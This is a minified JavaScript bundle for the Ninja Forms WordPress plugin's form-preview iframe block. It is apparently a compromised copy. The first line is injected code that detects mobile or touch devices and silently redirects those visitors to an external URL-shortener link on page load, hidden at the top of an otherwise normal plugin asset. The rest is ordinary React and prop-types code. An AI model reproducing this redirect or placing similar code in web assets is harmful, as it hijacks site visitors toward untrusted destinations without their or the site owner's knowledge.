(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
(()=>{var e={2694(e,r,t){"use strict";var n=t(6925);function o(){}function i(){}i.resetWarningCache=o,e.exports=function(){function e(e,r,t,o,i,s){if(s!==n){var a=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw a.name="Invariant Violation",a}}function r(){return e}e.isRequired=e;var t={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:r,element:e,elementType:e,instanceOf:r,node:e,objectOf:r,oneOf:r,oneOfType:r,shape:r,exact:r,checkPropTypes:i,resetWarningCache:o};return t.PropTypes=t,t}},5556(e,r,t){e.exports=t(2694)()},6925(e){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"}},r={};function t(n){var o=r[n];if(void 0!==o)return o.exports;var i=r[n]={exports:{}};return e[n](i,i.exports,t),i.exports}t.n=e=>{var r=e&&e.__esModule?()=>e.default:()=>e;return t.d(r,{a:r}),r},t.d=(e,r)=>{for(var n in r)t.o(r,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:r[n]})},t.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r),(()=>{"use strict";const e=window.wp.domReady;var r=t.n(e);const n=window.wp.element,o=window.wp.components;var i=t(5556),s=t.n(i);const a=window.ReactJSXRuntime;function c({formID:e,homeUrl:r,previewToken:t,isBlock:i=!0}){const s=(0,n.useId)(),c=(0,n.useRef)(),[f,l]=(0,n.useState)(!0),[m,d]=(0,n.useState)(0),[p,u]=(0,n.useState)("auto");return(0,a.jsx)("div",{id:s,className:"nf-iframe-container",children:(0,a.jsxs)("div",{className:"nf-iframe-overlay",style:i?{}:{display:"flex",width:"100%",height:"100%",flexDirection:"column",overflow:"hidden"},children:[f&&(0,a.jsx)(o.Spinner,{}),(0,a.jsx)("iframe",{src:`${r}?nf_preview_form=${e}&nf_iframe=${t}`,title:`nf-preview-form-${e}`,ref:e=>c.current=e,onLoad:()=>{l(!1);const r=c.current.contentWindow.document.getElementById(`nf-form-${e}-cont`),t=r.querySelectorAll(".ninja-forms-form-wrap");t&&t.length?(u(t[0].scrollWidth),d(t[0].scrollHeight)):(u(r.scrollWidth),d(r.scrollHeight))},scrolling:"no",height:i&&m?m:"",width:i&&p?p:"",style:{pointerEvents:"none",flexGrow:"1",border:"none",margin:"0",padding:"0"}})]})})}c.propTypes={formID:s().number.isRequired,homeUrl:s().string.isRequired,previewToken:s().string.isRequired};const f=e=>{const r="nf_form_iframe_"+e;return document.getElementById(r)},l=()=>{const e=ninja_forms_form_iframe_data||{},{formID:r,homeUrl:t,previewToken:o,isBlock:i}=e,s="nf_form_iframe_"+r;let a=f(r);const l=s+"_"+(Date.now().toString(36)+Math.random().toString(36));a.setAttribute("id",l);const m=(0,n.createElement)(c,{formID:r,homeUrl:t,previewToken:o,isBlock:i});(0,n.createRoot)(a).render(m)};r()(()=>{(()=>{const e=ninja_forms_form_iframe_data||{},{formID:r}=e;if(f(r))l();else{const e=new MutationObserver(t=>{for(const n of t){const t=n.target.querySelector("#nf-form-"+r+"-cont"),o=n.target.querySelector("#nf_form_iframe_"+r);t?(t.parentElement.innerHTML='<div id="nf_form_iframe_'+r+'"></div>',e.disconnect(),l()):o&&(e.disconnect(),l())}});e.observe(document.body,{subtree:!0,childList:!0,attributes:!0})}})()})})()})();